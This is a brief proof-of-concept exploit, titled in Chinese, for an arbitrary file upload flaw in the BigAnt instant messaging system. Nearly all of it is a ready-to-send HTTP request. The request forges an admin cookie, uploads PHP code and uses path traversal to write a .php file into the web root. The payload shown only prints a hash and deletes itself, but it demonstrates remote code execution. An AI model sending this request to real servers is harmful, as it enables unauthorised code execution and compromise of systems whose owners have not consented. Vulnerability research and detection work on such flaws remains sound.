九麒科技 BigAnt 即时通讯系统 upload_file 任意文件上传漏洞

POST /index.php/Api/DispersedAddin/upload_file HTTP/1.1
Host: 
Content-Type: multipart/form-data; boundary=abcdefgh
Content-Length: 303
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv136.0) Gecko/20100101 Firefox/136.0
Cookie: account=admin
Accept-Encoding: gzip
Connection: close

--abcdefgh
Content-Disposition: form-data; name="file"; filename="file"

<?php echo md5("DHtGdgEA");unlink(__FILE__);?>
--abcdefgh
Content-Disposition: form-data; name="file_info";

[{"file_path": "../../im_webserver/www/eCBCA1c7.php", "file_name": "test.txt", "file_size": "1024"}]
--abcdefgh--

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.